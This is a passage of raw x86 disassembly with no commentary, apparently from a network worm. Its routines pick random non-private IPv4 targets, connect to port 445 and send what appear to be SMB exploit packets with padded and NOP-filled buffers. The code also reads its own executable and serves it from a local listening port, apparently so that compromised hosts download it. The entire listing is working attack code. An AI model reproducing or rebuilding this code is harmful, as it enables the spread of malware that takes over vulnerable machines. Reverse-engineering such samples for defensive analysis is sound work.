		cmp	eax, edx
		jl	short loc_43E2BA
		push	[ebp+arg_8]
		push	edi
		call	sub_43F939
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E255	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E2F0	proc near		; CODE XREF: sub_43F411+97p

var_32		= byte ptr -32h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	offset sub_404DE3
		lea	eax, [ebp+var_32]
		push	eax
		push	[ebp+arg_0]
		call	sub_43E255
		add	esp, 0Ch
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_43F729
		leave
		retn
sub_43E2F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E315	proc near		; CODE XREF: .data:0043F3CFp
					; sub_43F411+F1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_43F879
		mov	edi, eax
		or	edi, edi
		jz	short loc_43E345
		xor	eax, eax
		jmp	short loc_43E37D
; ---------------------------------------------------------------------------


loc_43E345:				; CODE XREF: sub_43E315+2Aj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_43F8A9
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_43F885
		or	edi, edi
		jz	short loc_43E36D
		xor	eax, eax
		jmp	short loc_43E37D
; ---------------------------------------------------------------------------


loc_43E36D:				; CODE XREF: sub_43E315+52j
		cmp	[ebp+var_8], 1
		jnz	short loc_43E37A
		mov	eax, 2
		jmp	short loc_43E37D
; ---------------------------------------------------------------------------


loc_43E37A:				; CODE XREF: sub_43E315+5Cj
		xor	eax, eax
		inc	eax


loc_43E37D:				; CODE XREF: sub_43E315+2Ej
					; sub_43E315+56j ...
		pop	edi
		leave
		retn
sub_43E315	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E380	proc near		; CODE XREF: .data:0043F3A8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_43F891
		mov	edi, eax
		or	edi, edi
		jz	short loc_43E3A5
		xor	eax, eax
		jmp	short loc_43E3D0
; ---------------------------------------------------------------------------


loc_43E3A5:				; CODE XREF: sub_43E380+1Fj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_43F89D
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_43F885
		or	edi, edi
		jz	short loc_43E3CD
		xor	eax, eax
		jmp	short loc_43E3D0
; ---------------------------------------------------------------------------


loc_43E3CD:				; CODE XREF: sub_43E380+47j
		xor	eax, eax
		inc	eax


loc_43E3D0:				; CODE XREF: sub_43E380+23j
					; sub_43E380+4Bj
		pop	edi
		leave
		retn
sub_43E380	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43F5D1
		cmp	eax, 0FFFFFFFFh
		jz	loc_43E517
		push	404DDFh
		lea	eax, [ebp-100h]
		push	eax
		call	sub_43F951
		add	esp, 8
		or	eax, eax
		jz	loc_43E4D9
		push	404DDBh
		lea	edx, [ebp-100h]
		push	edx
		call	sub_43F951
		add	esp, 8
		or	eax, eax
		jz	loc_43E4D9
		push	0
		push	3Dh
		push	404D9Dh
		push	dword ptr [ebp+8]
		call	sub_43F5DD
		push	dword ptr ds:loc_403001+3
		push	404D86h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_43F921
		add	esp, 0Ch
		lea	ecx, [ebp-200h]
		or	eax, 0FFFFFFFFh


loc_43E46C:				; CODE XREF: .data:0043E471j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E46C
		push	0
		push	eax
		lea	edx, [ebp-200h]
		push	edx
		push	dword ptr [ebp+8]
		call	sub_43F5DD


loc_43E485:				; CODE XREF: .data:0043E4CBj
		mov	eax, dword ptr ds:loc_403001+3
		mov	edi, eax
		sub	edi, ebx
		cmp	edi, 1000h
		jb	short loc_43E49B
		mov	edi, 1000h


loc_43E49B:				; CODE XREF: .data:0043E494j
		or	edi, edi
		jz	short loc_43E4CD
		push	0
		push	edi
		mov	eax, ebx
		add	eax, dword ptr ds:loc_403006+2
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43F5DD
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43E517
		cmp	esi, 1000h
		jb	short loc_43E4CD
		add	ebx, esi
		push	64h
		call	sub_43F789
		jmp	short loc_43E485
; ---------------------------------------------------------------------------


loc_43E4CD:				; CODE XREF: .data:0043E49Dj
					; .data:0043E4C0j
		push	404098h
		call	sub_43F741
		jmp	short loc_43E4FB
; ---------------------------------------------------------------------------


loc_43E4D9:				; CODE XREF: .data:0043E416j
					; .data:0043E432j
		push	0
		push	15h
		push	404D70h
		push	dword ptr [ebp+8]
		call	sub_43F5DD
		push	0
		push	0Dh
		push	offset sub_40409C
		push	dword ptr [ebp+8]
		call	sub_43F5DD


loc_43E4FB:				; CODE XREF: .data:0043E4D7j
		push	7D0h
		call	sub_43F789
		push	2
		push	dword ptr [ebp+8]
		call	sub_43F5E9
		push	dword ptr [ebp+8]
		call	sub_43F571


loc_43E517:				; CODE XREF: .data:0043E3FAj
					; .data:0043E4B8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	0
		push	404098h
		call	sub_43F735
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	offset sub_403010
		call	sub_43F759
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_43E55D
		push	1
		call	sub_43F6C9


loc_43E55D:				; CODE XREF: .data:0043E554j
		push	0
		push	ebx
		call	sub_43F6ED
		mov	dword ptr ds:loc_403001+3, eax
		push	eax
		push	0
		call	sub_43F74D
		mov	dword ptr ds:loc_403006+2, eax
		push	0
		lea	eax, [ebp-30h]
		push	eax
		push	dword ptr ds:loc_403001+3
		push	dword ptr ds:loc_403006+2
		push	ebx
		call	sub_43F765
		push	ebx
		call	sub_43F705
		push	0
		push	1
		push	2
		call	sub_43F5F5
		mov	esi, eax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		call	sub_43F77D
		mov	word ptr [ebp-24h], 2
		and	dword ptr [ebp-20h], 0
		mov	word ptr [ebp-26h], 0


loc_43E5BD:				; CODE XREF: .data:0043E5FDj
		movzx	eax, word ptr [ebp-26h]
		add	eax, 50h
		mov	word ptr ds:loc_404094,	ax
		movzx	eax, word ptr ds:loc_404094
		push	eax
		call	sub_43F5A1
		mov	edx, eax
		mov	[ebp-22h], dx
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	esi
		call	sub_43F565
		mov	[ebp-2Ch], eax
		inc	word ptr [ebp-26h]
		or	eax, eax
		jz	short loc_43E5FF
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 0FDE8h
		jl	short loc_43E5BD


loc_43E5FF:				; CODE XREF: .data:0043E5F2j
		push	64h
		push	esi
		call	sub_43F5C5
		mov	dword ptr [ebp-4], 10h


loc_43E60E:				; CODE XREF: .data:0043E639j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_43F559
		mov	edi, eax
		lea	eax, [ebp-34h]
		push	eax
		push	0
		push	edi
		push	40141Ah
		push	0
		push	0
		call	sub_43F7AD
		push	eax
		call	sub_43F705
		jmp	short loc_43E60E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E640	proc near		; CODE XREF: .data:0043EE73p

var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_13		= byte ptr -13h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_13]
		lea	esi, loc_4040A8+2
		mov	ecx, 4
		rep movsd
		lea	edi, [ebp+var_18]
		lea	esi, loc_4040B9+1
		mov	ecx, 5
		rep movsb


loc_43E669:				; CODE XREF: sub_43E640+51j
					; sub_43E640+74j
		call	sub_43F909
		mov	ecx, 0DDh
		cdq
		idiv	ecx
		lea	edi, [edx+3]
		mov	ebx, edi
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		jmp	short loc_43E6BA
; ---------------------------------------------------------------------------


loc_43E686:				; CODE XREF: sub_43E640+81j
		mov	al, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		cmp	al, [ebp+edx+var_13]
		jz	short loc_43E669
		movzx	eax, [ebp+var_2]
		cmp	eax, 5
		jnb	short loc_43E6B6
		movzx	eax, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		movzx	ecx, [ebp+edx+var_13]
		cmp	eax, ecx
		jb	short loc_43E6B6
		movzx	edx, [ebp+edx+var_18]
		cmp	eax, edx
		jbe	short loc_43E669


loc_43E6B6:				; CODE XREF: sub_43E640+5Aj
					; sub_43E640+6Bj
		inc	[ebp+var_2]


loc_43E6BA:				; CODE XREF: sub_43E640+44j
		movzx	eax, [ebp+var_2]
		cmp	eax, 10h
		jb	short loc_43E686


loc_43E6C3:				; CODE XREF: sub_43E640+ACj
		call	sub_43F909
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_19], bl
		movzx	eax, [ebp+var_3]
		cmp	eax, 0C0h
		jnz	short loc_43E6EE
		movzx	eax, [ebp+var_19]
		cmp	eax, 0A8h
		jz	short loc_43E6C3


loc_43E6EE:				; CODE XREF: sub_43E640+A1j
		call	sub_43F909
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1A], bl
		call	sub_43F909
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1B], bl
		movzx	eax, [ebp+var_1B]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		movzx	eax, [ebp+var_19]
		push	eax
		movzx	eax, [ebp+var_3]
		push	eax
		push	404D64h
		push	[ebp+arg_0]
		call	sub_43F921
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E741	proc near		; CODE XREF: .data:0043F078p

var_89F4	= dword	ptr -89F4h
var_89F0	= dword	ptr -89F0h
var_89EC	= dword	ptr -89ECh
var_89E8	= dword	ptr -89E8h
var_89E3	= byte ptr -89E3h
var_89E2	= word ptr -89E2h
var_89E0	= byte ptr -89E0h
var_89D8	= byte ptr -89D8h
var_8970	= byte ptr -8970h
var_6900	= byte ptr -6900h
var_68E2	= byte ptr -68E2h
var_6842	= byte ptr -6842h
var_6136	= dword	ptr -6136h
var_6126	= byte ptr -6126h
var_6112	= byte ptr -6112h
var_60A2	= byte ptr -60A2h
var_55DE	= byte ptr -55DEh
var_403A	= byte ptr -403Ah
var_4039	= byte ptr -4039h
var_3FBD	= byte ptr -3FBDh
var_37ED	= byte ptr -37EDh
var_3342	= byte ptr -3342h
var_3058	= dword	ptr -3058h
var_3054	= dword	ptr -3054h
var_3050	= dword	ptr -3050h
var_304C	= word ptr -304Ch
var_304A	= word ptr -304Ah
var_3048	= dword	ptr -3048h
var_303C	= byte ptr -303Ch
var_3039	= byte ptr -3039h
var_300F	= byte ptr -300Fh
var_300D	= byte ptr -300Dh
var_300C	= byte ptr -300Ch
var_2FC7	= byte ptr -2FC7h
var_2F83	= byte ptr -2F83h
var_2987	= byte ptr -2987h
var_21A3	= byte ptr -21A3h
var_2193	= byte ptr -2193h
var_1E6F	= byte ptr -1E6Fh
var_1E6B	= byte ptr -1E6Bh
var_1E5F	= byte ptr -1E5Fh
var_1BDA	= byte ptr -1BDAh
var_1BD9	= byte ptr -1BD9h
var_B46		= byte ptr -0B46h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 89F4h
		call	sub_43F67D
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_3054],	1
		mov	[ebp+var_89F0],	1
		lea	edi, [ebp+var_89E0]
		lea	esi, loc_4049EC+4
		movsd
		movsd
		and	[ebp+var_89F4],	0
		mov	[ebp+var_89E2],	1BDh
		push	0
		push	1
		push	2
		call	sub_43F5F5
		mov	[ebp+var_54], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED97
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_89EC],	eax
		push	eax
		call	sub_43F5B9
		push	1Dh
		push	eax
		lea	edi, [ebp+var_6900]
		push	edi
		call	sub_43F795
		lea	eax, [ebp+var_6900]
		push	eax
		push	404D5Ah
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F921
		add	esp, 0Ch
		xor	ebx, ebx


loc_43E7D2:				; CODE XREF: sub_43E741+A2j
		mov	dl, [ebp+ebx+var_7C]
		mov	[ebp+ebx*2+var_50], dl
		mov	[ebp+ebx*2+var_4F], 0
		inc	ebx
		cmp	ebx, 28h
		jl	short loc_43E7D2
		push	60h
		push	404525h
		lea	eax, [ebp+var_303C]
		push	eax
		call	sub_43F8E5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F7A1
		mov	edi, eax
		shl	edi, 1
		push	edi
		lea	edi, [ebp+var_50]
		push	edi
		lea	edi, [ebp+var_300C]
		push	edi
		call	sub_43F8E5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F7A1
		push	9
		push	offset sub_40457C
		mov	edi, eax
		shl	edi, 1
		lea	edi, [ebp+edi+var_300D]
		push	edi
		call	sub_43F8E5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F7A1
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 34h
		mov	edx, edi
		mov	[ebp+var_403A],	dl
		push	1
		lea	eax, [ebp+var_403A]
		push	eax
		lea	eax, [ebp+var_3039]
		push	eax
		call	sub_43F8E5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F7A1
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 9
		mov	edx, edi
		mov	[ebp+var_89E3],	dl
		push	1
		lea	eax, [ebp+var_89E3]
		push	eax
		lea	eax, [ebp+var_300F]
		push	eax
		call	sub_43F8E5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3058],	eax
		push	0E29h
		push	31h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_43F8F1
		add	esp, 48h
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		call	sub_43F77D
		mov	[ebp+var_304C],	2
		movsx	eax, [ebp+var_89E2]
		movzx	eax, ax
		push	eax
		call	sub_43F5A1
		mov	edi, eax
		mov	[ebp+var_304A],	di
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3048],	eax
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		push	[ebp+var_54]
		call	sub_43F57D
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43E914
		mov	[ebp+var_3054],	2
		jmp	loc_43ED8F
; ---------------------------------------------------------------------------


loc_43E914:				; CODE XREF: sub_43E741+1C2j
		push	64h
		call	sub_43F789
		push	0
		push	89h
		push	404313h
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F789
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5D1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED85
		push	0
		push	0A8h
		push	40439Dh
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F789
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5D1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED85
		push	0
		push	0DEh
		push	404446h
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F789
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5D1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED85
		mov	eax, [ebp+var_80]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43E9EE
		cmp	eax, 46h
		jge	short loc_43E9F3


loc_43E9EE:				; CODE XREF: sub_43E741+2A6j
		jmp	loc_43ED85
; ---------------------------------------------------------------------------


loc_43E9F3:				; CODE XREF: sub_43E741+2ABj
		lea	eax, [ebp+var_2F83]
		mov	[ebp+var_89E8],	eax
		cmp	byte ptr [eax],	31h
		setnz	al
		and	eax, 1
		mov	[ebp+var_3050],	eax
		jz	loc_43EB07
		push	0DACh
		push	90h
		lea	eax, [ebp+var_2987]
		push	eax
		call	sub_43F8F1
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_21A3]
		push	eax
		call	sub_43F8E5
		push	[ebp+arg_8]
		push	[ebp+var_3058]
		lea	eax, [ebp+var_2193]
		push	eax
		call	sub_43F8E5
		push	4
		push	404D55h
		lea	eax, [ebp+var_1E6F]
		push	eax
		call	sub_43F8E5
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_1E6B]
		push	eax
		call	sub_43F8E5
		push	[ebp+var_3058]
		call	sub_43F7A1
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_1E5F]
		push	edi
		call	sub_43F8E5
		add	esp, 48h
		xor	ebx, ebx


loc_43EAAF:				; CODE XREF: sub_43E741+38Bj
		mov	dl, [ebp+ebx+var_2987]
		mov	[ebp+ebx*2+var_1BDA], dl
		mov	[ebp+ebx*2+var_1BD9], 0
		inc	ebx
		cmp	ebx, 0DACh
		jl	short loc_43EAAF
		mov	[ebp+var_82], 0
		mov	[ebp+var_81], 0
		push	1C52h
		push	31h
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_43F8F1
		push	1C52h
		push	31h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_43F8F1
		add	esp, 18h
		jmp	short loc_43EB69
; ---------------------------------------------------------------------------


loc_43EB07:				; CODE XREF: sub_43E741+2CDj
		push	7D0h
		push	90h
		lea	eax, [ebp+var_68E2]
		push	eax
		call	sub_43F8F1
		push	[ebp+var_3058]
		call	sub_43F7A1
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_6842]
		push	edi
		call	sub_43F8E5
		lea	eax, [ebp+var_89E0]
		push	eax
		call	sub_43F7A1
		push	eax
		lea	edi, [ebp+var_89E0]
		push	edi
		lea	edi, [ebp+var_6126]
		push	edi
		call	sub_43F8E5
		add	esp, 24h
		mov	eax, dword ptr ds:loc_404937+1
		mov	[ebp+var_6136],	eax


loc_43EB69:				; CODE XREF: sub_43E741+3C4j
		push	0
		movsx	eax, [ebp+var_403A]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_303C]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F789
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5D1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED85
		push	0
		push	68h
		push	404586h
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F789
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5D1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED85
		push	0
		push	0A0h
		push	offset sub_4045EF
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F789
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5D1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED85
		cmp	[ebp+var_3050],	0
		jz	loc_43ED11
		push	68h
		push	offset sub_40479E
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_43F8E5
		push	1B5Ah
		lea	eax, [ebp+var_1BDA]
		push	eax
		lea	eax, [ebp+var_8970]
		push	eax
		call	sub_43F8E5
		push	70h
		push	404807h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_43F8E5
		push	0A5Eh
		lea	eax, [ebp+var_B46]
		push	eax
		lea	eax, [ebp+var_60A2]
		push	eax
		call	sub_43F8E5
		push	84h
		push	404878h
		lea	eax, [ebp+var_55DE]
		push	eax
		call	sub_43F8E5
		add	esp, 3Ch
		push	0
		push	10FCh
		lea	eax, [ebp+var_89D8]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F789
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5D1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED85
		push	0
		push	0FDCh
		lea	eax, [ebp+var_6112]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43ED77
		jmp	short loc_43ED77
; ---------------------------------------------------------------------------


loc_43ED11:				; CODE XREF: sub_43E741+4FAj
		push	7Ch
		push	404690h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_43F8E5
		push	7D0h
		lea	eax, [ebp+var_68E2]
		push	eax
		lea	eax, [ebp+var_3FBD]
		push	eax
		call	sub_43F8E5
		push	90h
		push	offset sub_40470D
		lea	eax, [ebp+var_37ED]
		push	eax
		call	sub_43F8E5
		add	esp, 24h
		mov	[ebp+var_3342],	0
		push	0
		push	0CF8h
		lea	eax, [ebp+var_4039]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5DD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2


loc_43ED77:				; CODE XREF: sub_43E741+5CCj
					; sub_43E741+5CEj
		push	64h
		call	sub_43F789
		and	[ebp+var_3054],	0


loc_43ED85:				; CODE XREF: sub_43E741+216j
					; sub_43E741+258j ...
		push	2
		push	[ebp+var_54]
		call	sub_43F5E9


loc_43ED8F:				; CODE XREF: sub_43E741+1CEj
		push	[ebp+var_54]
		call	sub_43F571


loc_43ED97:				; CODE XREF: sub_43E741+53j
		mov	eax, [ebp+var_3054]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E741	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EDA2	proc near		; CODE XREF: .data:loc_43EE16p

var_32		= byte ptr -32h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		push	edi
		push	31h
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_43F595
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43EDBE
		xor	eax, eax
		jmp	short loc_43EDD8
; ---------------------------------------------------------------------------


loc_43EDBE:				; CODE XREF: sub_43EDA2+16j
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_43F589
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43EDD1
		xor	eax, eax
		jmp	short loc_43EDD8
; ---------------------------------------------------------------------------


loc_43EDD1:				; CODE XREF: sub_43EDA2+29j
		mov	eax, [edi+0Ch]
		mov	esi, [eax]
		mov	eax, [esi]


loc_43EDD8:				; CODE XREF: sub_43EDA2+1Aj
					; sub_43EDA2+2Dj
		pop	edi
		pop	esi
		leave
		retn
sub_43EDA2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		call	sub_43F711
		push	eax
		call	sub_43F92D
		mov	esi, 254h
		mov	eax, esi
		add	eax, 0Ah
		push	eax
		push	0
		call	sub_43F74D
		mov	ebx, eax
		push	esi
		push	4040BFh
		push	ebx
		call	sub_43F8E5
		add	esp, 10h


loc_43EE16:				; CODE XREF: .data:0043EE30j
					; .data:0043EE6Aj ...
		call	sub_43EDA2
		mov	[ebp-10Ch], eax
		or	eax, eax
		jnz	short loc_43EE32
		push	384h
		call	sub_43F8CD
		pop	ecx
		jmp	short loc_43EE16
; ---------------------------------------------------------------------------


loc_43EE32:				; CODE XREF: .data:0043EE23j
		mov	al, [ebp-10Ch]
		mov	[ebp-111h], al
		mov	al, [ebp-10Bh]
		mov	[ebp-112h], al
		mov	al, [ebp-10Ah]
		mov	[ebp-135h], al
		cmp	byte ptr [ebp-111h], 7Fh
		jnz	short loc_43EE6C
		push	384h
		call	sub_43F8CD
		pop	ecx
		jmp	short loc_43EE16
; ---------------------------------------------------------------------------


loc_43EE6C:				; CODE XREF: .data:0043EE5Dj
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43E640
		push	0
		call	sub_43F8CD
		add	esp, 8
		call	sub_43F909
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-134h], dl
		call	sub_43F909
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-131h], dl
		call	sub_43F909
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-132h], dl
		call	sub_43F909
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp-133h], dl
		mov	al, [ebp-133h]
		cmp	al, 5
		jnb	short loc_43EF09
		mov	al, [ebp-112h]
		mov	[ebp-134h], al
		mov	al, [ebp-133h]
		cmp	al, 3
		jnb	short loc_43EF09
		mov	al, [ebp-135h]
		mov	[ebp-131h], al


loc_43EF09:				; CODE XREF: .data:0043EEE5j
					; .data:0043EEFBj
		cmp	byte ptr [ebp-111h], 0Ah
		jnz	short loc_43EF3E
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		movzx	eax, byte ptr [ebp-134h]
		push	eax
		push	offset sub_404D49
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F921
		add	esp, 14h


loc_43EF3E:				; CODE XREF: .data:0043EF10j
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0ACh
		jnz	short loc_43EF98
		mov	al, [ebp-112h]
		cmp	al, 0Fh
		jbe	short loc_43EF98
		cmp	al, 21h
		jnb	short loc_43EF98
		call	sub_43F909
		movzx	edi, byte ptr [ebp-132h]
		push	edi
		movzx	edi, byte ptr [ebp-131h]
		push	edi
		mov	edx, eax
		and	edx, 8000000Fh
		jge	short loc_43EF7E
		dec	edx
		or	edx, 0FFFFFFF0h
		inc	edx


loc_43EF7E:				; CODE XREF: .data:0043EF77j
		mov	edi, edx
		add	edi, 10h
		push	edi
		push	offset sub_404D3C
		lea	edi, [ebp-130h]
		push	edi
		call	sub_43F921
		add	esp, 14h


loc_43EF98:				; CODE XREF: .data:0043EF4Aj
					; .data:0043EF54j ...
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0C0h
		jnz	short loc_43EFD8
		movzx	eax, byte ptr [ebp-112h]
		cmp	eax, 0A8h
		jnz	short loc_43EFD8
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		push	404D2Eh
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F921
		add	esp, 10h


loc_43EFD8:				; CODE XREF: .data:0043EFA4j
					; .data:0043EFB2j
		lea	eax, [ebp-130h]
		push	eax
